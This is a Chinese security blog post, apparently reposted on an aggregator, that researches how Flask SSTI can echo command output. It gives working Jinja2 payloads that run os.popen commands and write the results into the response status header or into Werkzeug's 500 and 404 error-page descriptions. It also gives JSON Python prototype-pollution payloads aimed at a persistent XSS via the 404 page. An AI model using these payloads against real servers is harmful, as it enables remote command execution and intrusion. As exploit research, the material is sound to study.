flask请求头回显的学习和探究如何进行错误页面污染回显

news2024/11/28 0:23:02

请求头

首先我们要了解一些flask的请求和响应是利用了什么。
flask的请求和响应主要利用了werkzeug,那么我们就要先了解一下什么是werkzeug,其结构又是什么。
werkzeug是一个基于python开发的一个web工具包,其是flask的核心组件之一。其功能有http工具,路由系统。调试等。
其是一个模块化的库。其核心模块如下

因为我们要研究新的回显方式所以我们可以把目光放到werkzeug.wrappers和werkzeug.exceptions这两个模块下。
当然上面是我个人的想法,我看的那两篇关于新型回显的文章都对WSGIRequestHandler进行研究.导致两位作者都没能找到如何在500响应body中回显命令执行,篡改WSGIRequestHandler从而对响应头进行修改的具体原理那两位作者已经写的很详细了和这里就不再赘述了。

我这里讲一下我个人再复现过程中发现的其他篡改方法

因为我的入手点是再werkzeug.wrappers和werkzeug.exceptions下于是我先查看了werkzeug.wrappers的response.py,再其初始化Response类的地方打上了断点,而后发现再响应类下有许多可以篡改的请求头

而这些类都是在werkzeug的wrappers内的request.py定义的Request类的属性
即我们可以通过以下payload找到我们要污染的类的属性

{{url_for.__globals__.__builtins__['dir'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response)}}

我们在里面可以找到default_status类,这个类是控制请求状态码的、

我们可以通过setattr来修改这个属性的值,将这个属性的值赋值为我们命令执行的结果
payload

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__['__import__']('os').popen('whoami').read())}}

但当我尝试命令dir时却出现了问题如下。

原因我在上面说过了是因为请求头在发送给客户端前会进行latin-1编码这导致了报错

这时我们可以尝试使用base64编码

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.wrappers.Response,'default_status',url_for.__globals__.__builtins__.__import__('base64').b64encode(url_for.__globals__.__builtins__['__import__']('os').popen('dir').read().encode()).decode())}}

剩下的请求头我就不再赘述了

错误页面的污染方法

上面说到了请求头无法返回非ascii码字符,即我们需要使用编码来输出命令执行的结果。

而服务器的响应body是可以正常回显非ascii字符的。
这时候其实我是想找能否对正常的200回显的body进行篡改,于是我尝试污染了data的值,但是我发现并没有使回显的值发送改变,而后简单调试了一下发现:在发给客户端响应时会使用set_data来更改其值,其值会被更改为参数response的值。

由于本人技术有限,无法找到污染这个response的方法,如果有大佬能找到还请指点

于是本人就尝试寻找污染错误页面的方法。

因为werkzeug的错误页面时固定的于是本人猜测其值肯定是预设在某个类下了。于是我将目光放在了werkzeug.exceptions上

我们看这个模块的代码,可以发现其定义所有的错误状态码类,我这里就拿500状态码来说一下吧
我们可以发现其code为状态码的值,description定义了响应的错误内容,那么这种写死的肯定没有二次赋值,那么我们就可以将其污染为我们命令执行的结果

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.InternalServerError,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

可以发现其仍然可以回显中文即非ascii字符

同理我们还可以污染404等

{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}

关于原型链污染的思考

XSS

最简单粗暴的想法。既然我们可以污染错误页面的回显内容那么我们不就能对其进行xss了吗。个人认为一个人进入网站不小心触发404 505 500这种错误状态简直不要太常见,而这种xss如果不重启服务是会一直存在的,算是一种存储型xss。还是具有一定危害性的

payload如下

{
"__init__": {
        "__globals__": {
            "sys": {
                "modules": {
                    "werkzeug": {
                        "exceptions": {
                            "NotFound": {
                                "description": "aaaa"
                            }
                        }
                    }
                }
            }
        }
    }
}

但是要实现上面的payload需要导入sys

但正常的flask app.py文件并不会导入sys,但是其web页面一定会导入一些其他的模块
参考这篇文章Python原型链污染变体(prototype-pollution-in-python)我们可以知道我们可以通过
<模块名>.__spec__.__init__.__globals__['sys']而这个模块名可以是任意的模块。
我这里就随便导入应该math模块来做演示

即我们在原型链污染时可以通过如下payload来获取sys

{
  "__init__": {
    "__globals__": {
      "math": {
        "__spec__": {
          "__init__": {
            "__globals__": {
              "sys": {
                "modules": {
                  "werkzeug": {
                    "exceptions": {
                      "NotFound": {
                        "description": "1263"
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

结果

悲404页面的字符是经过jinja2模板渲染的其会自动url实体化编码
那么这想造成xss就不是一般的难了

本人还是tcl了.希望有大佬看到能告知一下该如何继续污染来造成xss

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2248710.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity踩坑】Unity中父对象是非均匀缩放时出现倾斜或剪切现象

The game object is deformed when the parent object is in non-uniform scaling. 先来看一下现象 有两个Cube, Cube1&#xff08;Scale2,1,1)&#xff0c;Cube2&#xff08;Scale1,1,1&#xff09; 将Cube2拖拽为Cube2的子对象。并且将position设置为&#xff08;-0.6,1,0&a…

uni-app 蓝牙开发

一. 前言 Uni-App 是一个使用 Vue.js 开发&#xff08;所有&#xff09;前端应用的框架&#xff0c;能够编译到 iOS、Android、快应用以及各种小程序等多个平台。因此&#xff0c;如果你需要快速开发一款跨平台的应用&#xff0c;比如在 H5、小程序、iOS、Android 等多个平台上…

解决SSL VPN客户端一直提示无法连接服务器的问题

近期服务器更新VPN后&#xff0c;我的win10电脑一致无法连接到VPN服务器&#xff0c; SSL VPN客户端总是提示无法连接到服务端。网上百度尝试了各种方法后&#xff0c;终于通过以下设置方式解决了问题&#xff1a; 1、首先&#xff0c;在控制面板中打开“网络和共享中心”窗口&…

spring boot框架漏洞复现

spring - java开源框架有五种 Spring MVC、SpringBoot、SpringFramework、SpringSecurity、SpringCloud spring boot版本 版本1: 直接就在根下 / 版本2:根下的必须目录 /actuator/ 端口:9093 spring boot搭建 1:直接下载源码打包 2:运行编译好的jar包:actuator-testb…

大语言模型LLM的微调代码详解

代码的摘要说明 一、整体功能概述 这段 Python 代码主要实现了基于 Hugging Face Transformers 库对预训练语言模型&#xff08;具体为 TAIDE-LX-7B-Chat 模型&#xff09;进行微调&#xff08;Fine-tuning&#xff09;的功能&#xff0c;使其能更好地应用于生成唐诗相关内容的…

华三(HCL)和华为(eNSP)模拟器共存安装手册

接上章叙述,解决同一台PC上同时部署华三(HCL)和华为(eNSP)模拟器。原因就是华三HCL 的老版本如v2及以下使用VirtualBox v5版本,可以直接和eNSP兼容Oracle VirtualBox,而其他版本均使用Oracle VirtualBox v6以上的版本,所以正常安装HCL模拟器无法和ENSP兼容。 环境及组件:…

Android 15 版本更新及功能介绍

Android 15版本时间戳 Android 15,代号Vanilla Ice Cream(香草冰淇淋),是当下 Android 移动操作系统的最新主要版本。 开发者预览阶段:2024年2月,谷歌发布了Android 15的第一个开发者预览版本(DP1),这标志着新系统开发的正式启动。随后,在3月和4月,谷歌又相继推出了D…

【含开题报告+文档+PPT+源码】基于Spring Boot+Vue的在线学习平台的设计与实现

开题报告 随着互联网的普及和技术的快速发展&#xff0c;网络教育逐渐崭露头角&#xff0c;成为现代教育领域的重要组成部分。网络教育以其灵活性、便捷性和资源共享性&#xff0c;吸引了越来越多的学习者。同时&#xff0c;随着学习者需求的多样化&#xff0c;他们对于在线学…

【Flink】快速理解 FlinkCDC 2.0 原理

快速理解 FlinkCDC 2.0 原理 要详细理解 Flink CDC 原理可以看看这篇文章&#xff0c;讲得很详细&#xff1a;深入解析 Flink CDC 增量快照读取机制 (https://juejin.cn/post/7325370003192578075)。 FlnkCDC 2.0&#xff1a; Flink 2.x 引入了增量快照读取机制&#xff0c;…

【前端】JavaScript 中 arguments、类数组与数组的深入解析

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: 前端 文章目录 &#x1f4af;前言&#x1f4af;什么是 arguments 对象2.1 arguments 的定义2.2 arguments 的特性2.3 使用场景 &#x1f4af;深入了解 arguments 的结构3.1 arguments 的内部结构arguments 的关键属性…

Kubernetes 还是 SpringCloud?

前些年&#xff0c;随着微服务的概念提出以及落地&#xff0c;不断有很多的公司都加入到了这场技术革新中&#xff0c;现在可谓是人人都在做和说微服务。 提到微服务&#xff0c;Java栈内&#xff0c;就不得不提SpringBoot、SpringCloud、Dubbo。 近几年&#xff0c;随着Cloud …

Redis设计与实现 学习笔记 第二十章 Lua脚本

Redis从2.6版本引入对Lua脚本的支持&#xff0c;通过在服务器中嵌入Lua环境&#xff0c;Redis客户端可以使用Lua脚本&#xff0c;直接在服务器端原子地执行多个Redis命令。 其中EVAL命令可以直接对输入的脚本进行求值&#xff1a; 而使用EVALSHA命令则可以根据脚本的SHA1校验…

C# 调用系统级方法复制、移动和删除等操作界面

有时候需要在程序复制、移动、删除文件等操作&#xff0c;虽然实现的方法有很多&#xff0c;但有些时候真的不如系统自带的界面效果来的直接省事。 好了不啰嗦了&#xff0c;直接看代码。这是网上找的&#xff0c;能用&#xff0c;但是有一点bug&#xff0c;有时候第一次复制文…

AI赋能电商:打造高效销售与卓越用户体验的新引擎

在数字经济迅猛发展的今天&#xff0c;电商行业正处于持续演变的关键时期。技术的进步不仅重塑了电商生态的运行方式&#xff0c;也在深刻改变用户的消费习惯。人工智能&#xff08;AI&#xff09;作为现代科技的核心驱动力&#xff0c;为电商平台提供了前所未有的工具和机遇。…

基于机器视觉的表面缺陷检测

基于机器视觉的表面缺陷检测存在的问题与难点 - AVT相机|AVT红外相机|万兆网相机EVT|VIEWORKS线扫相|映美精相机|Specim多光谱相机|Adimec相机|Basler相机|富士能FUJINON镜头|理光RICOH镜头|OPTO远心镜头|SPO远心镜头|Navtar镜头|VST镜头|CCS光源|3D视觉引导机床上下料系统 (完…

Fakelocation Server服务器/专业版 Windows11

前言:需要Windows11系统 Fakelocation开源文件系统需求 Windows11 | Fakelocation | 任务一 打开 PowerShell&#xff08;以管理员身份&#xff09;命令安装 Chocolatey Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProto…

【Android】View的解析—滑动篇

1.View与ViewGroup View&#xff1a; View是Android中所有UI组件的基类&#xff0c;提供了绘制&#xff08;draw&#xff09;、布局&#xff08;layout&#xff09;和事件处理&#xff08;event handling&#xff09;的基础功能。它是一个抽象类&#xff0c;不能直接实例化&…

极狐GitLab 17.6 正式发布几十项与 DevSecOps 相关的功能【三】

GitLab 是一个全球知名的一体化 DevOps 平台&#xff0c;很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版&#xff0c;专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料&#xff1a; 极狐GitLab 官网极狐…

基于混合ABC和A*算法复现

基于混合ABC和A*算法复现 一、背景介绍二、算法原理&#xff08;一&#xff09;A*算法原理&#xff08;二&#xff09;人工蜂群算法原理&#xff08;三&#xff09;混合ABC和A*算法策略 三、代码实现&#xff08;一&#xff09;数据准备&#xff08;二&#xff09;关键函数实现…

linux运行vue编译后的项目

如果你的 Vue 项目使用了 history 模式&#xff08;而非默认的 hash 模式&#xff09;&#xff0c;在纯静态服务器中会出现类似的问题。因为 Vue Router 的 history 模式要求所有未匹配的路径都重定向到 index.html&#xff0c;以便 Vue 前端处理路径。 首先在本地执行npm run…